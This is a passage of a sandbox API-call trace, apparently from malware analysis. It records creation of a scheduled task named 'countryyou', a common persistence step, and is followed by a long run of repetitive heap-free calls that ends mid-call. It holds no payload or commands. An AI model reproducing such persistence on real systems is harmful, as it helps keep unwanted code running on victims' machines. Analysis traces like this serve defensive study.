\"%s\" has successfully been created.\n") returned 0x40 [0073.409] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0073.409] GetProcessHeap () returned 0x2d0000 [0073.409] GetProcessHeap () returned 0x2d0000 [0073.409] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed740) returned 1 [0073.409] GetProcessHeap () returned 0x2d0000 [0073.409] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed740) returned 0xe [0073.409] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed740 | out: hHeap=0x2d0000) returned 1 [0073.409] GetProcessHeap () returned 0x2d0000 [0073.409] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x82) returned 0x309d90 [0073.409] _vsnwprintf (in: _Buffer=0x19d490, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19ccf8 | out: _Buffer="SUCCESS: The scheduled task \"countryyou\" has successfully been created.\n") returned 72 [0073.409] _fileno (_File=0x7feffe22ab0) returned -2 [0073.409] _errno () returned 0x574bb0 [0073.409] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0073.410] SetLastError (dwErrCode=0x6) [0073.410] lstrlenW (lpString="SUCCESS: The scheduled task \"countryyou\" has successfully been created.\n") returned 72 [0073.410] GetConsoleOutputCP () returned 0x0 [0073.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"countryyou\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0073.410] GetConsoleOutputCP () returned 0x0 [0073.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"countryyou\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"countryyou\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 72 [0073.410] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 72 [0073.410] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0073.410] IUnknown:Release (This=0x576ab0) returned 0x0 [0073.410] TaskScheduler:IUnknown:Release (This=0x577e80) returned 0x0 [0073.410] TaskScheduler:IUnknown:Release (This=0x577e30) returned 0x0 [0073.410] TaskScheduler:IUnknown:Release (This=0x1adee0) returned 0x1 [0073.410] lstrlenW (lpString="") returned 0 [0073.410] GetProcessHeap () returned 0x2d0000 [0073.410] GetProcessHeap () returned 0x2d0000 [0073.410] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec550) returned 1 [0073.410] GetProcessHeap () returned 0x2d0000 [0073.410] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec550) returned 0x1fc [0073.411] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec550 | out: hHeap=0x2d0000) returned 1 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6c0) returned 1 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6c0) returned 0x16 [0073.411] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6c0 | out: hHeap=0x2d0000) returned 1 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6a0) returned 1 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6a0) returned 0x18 [0073.411] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6a0 | out: hHeap=0x2d0000) returned 1 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf10) returned 1 [0073.411] GetProcessHeap () returned 0x2d0000 [0073.411] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf10) returned 0x20 [0073.412] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf10 | out: hHeap=0x2d0000) returned 1 [0073.412] GetProcessHeap () returned 0x2d0000 [0073.412] GetProcessHeap () returned 0x2d0000 [0073.412] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec190) returned 1 [0073.412] GetProcessHeap () returned 0x2d0000 [0073.412] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec190) returned 0xa0 [0073.412] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec190 | out: hHeap=0x2d0000) returned 1 [0073.412] GetProcessHeap () returned 0x2d0000 [0073.412] GetProcessHeap () returned 0x2d0000 [0073.412] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc10) returned 1 [0073.413] GetProcessHeap () returned 0x2d0000 [0073.413] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebc10) returned 0x18 [0073.413] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc10 | out: hHeap=0x2d0000) returned 1 [0073.413] GetProcessHeap () returned 0x2d0000 [0073.413] GetProcessHeap () returned 0x2d0000 [0073.413] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccd0) returned 1 [0073.413] GetProcessHeap () returned 0x2d0000 [0073.413] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eccd0) returned 0x20 [0073.413] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccd0 | out: hHeap=0x2d0000) returned 1 [0073.413] GetProcessHeap () returned 0x2d0000 [0073.413] GetProcessHeap () returned 0x2d0000 [0073.413] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4b0) returned 1 [0073.413] GetProcessHeap () returned 0x2d0000 [0073.413] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec4b0) returned 0x8e [0073.414] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4b0 | out: hHeap=0x2d0000) returned 1 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6e0) returned 1 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6e0) returned 0x18 [0073.414] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6e0 | out: hHeap=0x2d0000) returned 1 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecca0) returned 1 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecca0) returned 0x20 [0073.414] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecca0 | out: hHeap=0x2d0000) returned 1 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ede50) returned 1 [0073.414] GetProcessHeap () returned 0x2d0000 [0073.414] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ede50) returned 0x90 [0073.415] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ede50 | out: hHeap=0x2d0000) returned 1 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed680) returned 1 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed680) returned 0x18 [0073.415] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed680 | out: hHeap=0x2d0000) returned 1 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc70) returned 1 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc70) returned 0x20 [0073.415] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc70 | out: hHeap=0x2d0000) returned 1 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec490) returned 1 [0073.415] GetProcessHeap () returned 0x2d0000 [0073.415] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec490) returned 0xe [0073.416] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec490 | out: hHeap=0x2d0000) returned 1 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec470) returned 1 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec470) returned 0x18 [0073.416] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec470 | out: hHeap=0x2d0000) returned 1 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ea0) returned 1 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ea0) returned 0x20 [0073.416] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ea0 | out: hHeap=0x2d0000) returned 1 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebd90) returned 1 [0073.416] GetProcessHeap () returned 0x2d0000 [0073.416] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebd90) returned 0x208 [0073.417] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebd90 | out: hHeap=0x2d0000) returned 1 [0073.417] GetProcessHeap () returned 0x2d0000 [0073.417] GetProcessHeap () returned 0x2d0000 [0073.417] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbf0) returned 1 [0073.417] GetProcessHeap () returned 0x2d0000 [0073.417] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbf0) returned 0x18 [0073.417] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbf0 | out: hHeap=0x2d0000) returned 1 [0073.418] GetProcessHeap () returned 0x2d0000 [0073.418] GetProcessHeap () returned 0x2d0000 [0073.418] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5db0) returned 1 [0073.418] GetProcessHeap () returned 0x2d0000 [0073.418] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5db0) returned 0x20 [0073.419] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5db0 | out: hHeap=0x2d0000) returned 1 [0073.419] GetProcessHeap () returned 0x2d0000 [0073.419] GetProcessHeap () returned 0x2d0000 [0073.419] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed440) returned 1 [0073.419] GetProcessHeap () returned 0x2d0000 [0073.419] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed440) returned 0x200 [0073.420] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed440 | out: hHeap=0x2d0000) returned 1 [0073.420] GetProcessHeap () returned 0x2d0000 [0073.420] GetProcessHeap () returned 0x2d0000 [0073.420] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc30) returned 1 [0073.420] GetProcessHeap () returned 0x2d0000 [0073.420] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebc30) returned 0x18 [0073.420] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc30 | out: hHeap=0x2d0000) returned 1 [0073.420] GetProcessHeap () returned 0x2d0000 [0073.420] GetProcessHeap () returned 0x2d0000 [0073.420] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d20) returned 1 [0073.420] GetProcessHeap () returned 0x2d0000 [0073.420] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d20) returned 0x20 [0073.421] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d20 | out: hHeap=0x2d0000) returned 1 [0073.421] GetProcessHeap () returned 0x2d0000 [0073.421] GetProcessHeap () returned 0x2d0000 [0073.421] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3a0) returned 1 [0073.421] GetProcessHeap () returned 0x2d0000 [0073.421] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3a0) returned 0x14 [0073.421] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3a0 | out: hHeap=0x2d0000) returned 1 [0073.421] GetProcessHeap () returned 0x2d0000 [0073.421] GetProcessHeap () returned 0x2d0000 [0073.421] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec380) returned 1 [0073.421] GetProcessHeap () returned 0x2d0000 [0073.421] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec380) returned 0x18 [0073.421] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec380 | out: hHeap=0x2d0000) returned 1 [0073.421] GetProcessHeap () returned 0x2d0000 [0073.422] GetProcessHeap () returned 0x2d0000 [0073.422] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c60) returned 1 [0073.422] GetProcessHeap () returned 0x2d0000 [0073.422] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c60) returned 0x20 [0073.423] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c60 | out: hHeap=0x2d0000) returned 1 [0073.423] GetProcessHeap () returned 0x2d0000 [0073.423] GetProcessHeap () returned 0x2d0000 [0073.423] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3c0) returned 1 [0073.423] GetProcessHeap () returned 0x2d0000 [0073.423] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3c0) returned 0x16 [0073.423] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3c0 | out: hHeap=0x2d0000) returned 1 [0073.423] GetProcessHeap () returned 0x2d0000 [0073.423] GetProcessHeap () returned 0x2d0000 [0073.423] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec240) returned 1 [0073.423] GetProcessHeap () returned 0x2d0000 [0073.423] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec240) returned 0x18 [0073.424] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec240 | out: hHeap=0x2d0000) returned 1 [0073.424] GetProcessHeap () returned 0x2d0000 [0073.424] GetProcessHeap () returned 0x2d0000 [0073.424] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c30) returned 1 [0073.424] GetProcessHeap () returned 0x2d0000 [0073.424] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c30) returned 0x20 [0073.424] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c30 | out: hHeap=0x2d0000) returned 1 [0073.424] GetProcessHeap () returned 0x2d0000 [0073.424] GetProcessHeap () returned 0x2d0000 [0073.424] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb70) returned 1 [0073.424] GetProcessHeap () returned 0x2d0000 [0073.424] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb70) returned 0x2 [0073.425] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb70 | out: hHeap=0x2d0000) returned 1 [0073.425] GetProcessHeap () returned 0x2d0000 [0073.425] GetProcessHeap () returned 0x2d0000 [0073.425] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a80) returned 1 [0073.425] GetProcessHeap () returned 0x2d0000 [0073.425] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a80) returned 0x20 [0073.425] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a80 | out: hHeap=0x2d0000) returned 1 [0073.425] GetProcessHeap () returned 0x2d0000 [0073.425] GetProcessHeap () returned 0x2d0000 [0073.425] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ab0) returned 1 [0073.425] GetProcessHeap () returned 0x2d0000 [0073.425] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ab0) returned 0x20 [0073.426] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ab0 | out: hHeap=0x2d0000) returned 1 [0073.426] GetProcessHeap () returned 0x2d0000 [0073.426] GetProcessHeap () returned 0x2d0000 [0073.426] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ae0) returned 1 [0073.426] GetProcessHeap () returned 0x2d0000 [0073.426] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ae0) returned 0x20 [0073.427] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ae0 | out: hHeap=0x2d0000) returned 1 [0073.427] GetProcessHeap () returned 0x2d0000 [0073.427] GetProcessHeap () returned 0x2d0000 [0073.427] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b10) returned 1 [0073.427] GetProcessHeap () returned 0x2d0000 [0073.427] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b10) returned 0x20 [0073.427] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b10 | out: hHeap=0x2d0000) returned 1 [0073.427] GetProcessHeap () returned 0x2d0000 [0073.427] GetProcessHeap () returned 0x2d0000 [0073.427] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd00) returned 1 [0073.427] GetProcessHeap () returned 0x2d0000 [0073.427] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd00) returned 0x20 [0073.428] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd00 | out: hHeap=0x2d0000) returned 1 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7e0) returned 1 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed7e0) returned 0xc [0073.428] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7e0 | out: hHeap=0x2d0000) returned 1 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd30) returned 1 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd30) returned 0x20 [0073.428] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd30 | out: hHeap=0x2d0000) returned 1 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c10) returned 1 [0073.428] GetProcessHeap () returned 0x2d0000 [0073.428] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7c10) returned 0x30 [0073.429] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c10 | out: hHeap=0x2d0000) returned 1 [0073.429] GetProcessHeap () returned 0x2d0000 [0073.429] GetProcessHeap () returned 0x2d0000 [0073.429] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd60) returned 1 [0073.429] GetProcessHeap () returned 0x2d0000 [0073.429] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd60) returned 0x20 [0073.429] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd60 | out: hHeap=0x2d0000) returned 1 [0073.429] GetProcessHeap () returned 0x2d0000 [0073.429] GetProcessHeap () returned 0x2d0000 [0073.429] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c50) returned 1 [0073.429] GetProcessHeap () returned 0x2d0000 [0073.429] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7c50) returned 0x30 [0073.430] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c50 | out: hHeap=0x2d0000) returned 1 [0073.430] GetProcessHeap () returned 0x2d0000 [0073.430] GetProcessHeap () returned 0x2d0000 [0073.430] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecee0) returned 1 [0073.430] GetProcessHeap () returned 0x2d0000 [0073.430] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecee0) returned 0x20 [0073.430] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecee0 | out: hHeap=0x2d0000) returned 1 [0073.430] GetProcessHeap () returned 0x2d0000 [0073.431] GetProcessHeap () returned 0x2d0000 [0073.431] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700) returned 1 [0073.431] GetProcessHeap () returned 0x2d0000 [0073.431] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed700) returned 0x16 [0073.431] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700 | out: hHeap=0x2d0000) returned 1 [0073.431] GetProcessHeap () returned 0x2d0000 [0073.431] GetProcessHeap () returned 0x2d0000 [0073.431] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eceb0) returned 1 [0073.431] GetProcessHeap () returned 0x2d0000 [0073.431] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eceb0) returned 0x20 [0073.431] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eceb0 | out: hHeap=0x2d0000) returned 1 [0073.431] GetProcessHeap () returned 0x2d0000 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.432] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720) returned 1 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.432] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed720) returned 0x16 [0073.432] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720 | out: hHeap=0x2d0000) returned 1 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.432] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece80) returned 1 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.432] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece80) returned 0x20 [0073.432] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece80 | out: hHeap=0x2d0000) returned 1 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.432] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x309d90) returned 1 [0073.432] GetProcessHeap () returned 0x2d0000 [0073.433] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x309d90) returned 0x82 [0073.433] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x309d90 | out: hHeap=0x2d0000) returned 1 [0073.433] GetProcessHeap () returned 0x2d0000 [0073.433] GetProcessHeap () returned 0x2d0000 [0073.433] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece50) returned 1 [0073.433] GetProcessHeap () returned 0x2d0000 [0073.433] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece50) returned 0x20 [0073.433] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece50 | out: hHeap=0x2d0000) returned 1 [0073.433] GetProcessHeap () returned 0x2d0000 [0073.434] GetProcessHeap () returned 0x2d0000 [0073.434] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed760) returned 1 [0073.434] GetProcessHeap () returned 0x2d0000 [0073.434] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed760) returned 0xe [0073.434] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed760 | out: hHeap=0x2d0000) returned 1 [0073.434] GetProcessHeap () returned 0x2d0000 [0073.434] GetProcessHeap () returned 0x2d0000 [0073.434] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece20) returned 1 [0073.434] GetProcessHeap () returned 0x2d0000 [0073.434] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece20) returned 0x20 [0073.435] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece20 | out: hHeap=0x2d0000) returned 1 [0073.435] GetProcessHeap () returned 0x2d0000 [0073.435] GetProcessHeap () returned 0x2d0000 [0073.435] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed780) returned 1 [0073.435] GetProcessHeap () returned 0x2d0000 [0073.435] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed780) returned 0xc [0073.435] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed780 | out: hHeap=0x2d0000) returned 1 [0073.435] GetProcessHeap () returned 0x2d0000 [0073.435] GetProcessHeap () returned 0x2d0000 [0073.435] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdf0) returned 1 [0073.435] GetProcessHeap () returned 0x2d0000 [0073.435] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecdf0) returned 0x20 [0073.436] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdf0 | out: hHeap=0x2d0000) returned 1 [0073.436] GetProcessHeap () returned 0x2d0000 [0073.436] GetProcessHeap () returned 0x2d0000 [0073.436] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7a0) returned 1 [0073.436] GetProcessHeap () returned 0x2d0000 [0073.436] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed7a0) returned 0xe [0073.436] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7a0 | out: hHeap=0x2d0000) returned 1 [0073.436] GetProcessHeap () returned 0x2d0000 [0073.436] GetProcessHeap () returned 0x2d0000 [0073.436] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdc0) returned 1 [0073.436] GetProcessHeap () returned 0x2d0000 [0073.436] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecdc0) returned 0x20 [0073.437] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdc0 | out: hHeap=0x2d0000) returned 1 [0073.437] GetProcessHeap () returned 0x2d0000 [0073.437] GetProcessHeap () returned 0x2d0000 [0073.437] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7c0) returned 1 [0073.437] GetProcessHeap () returned 0x2d0000 [0073.437] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, 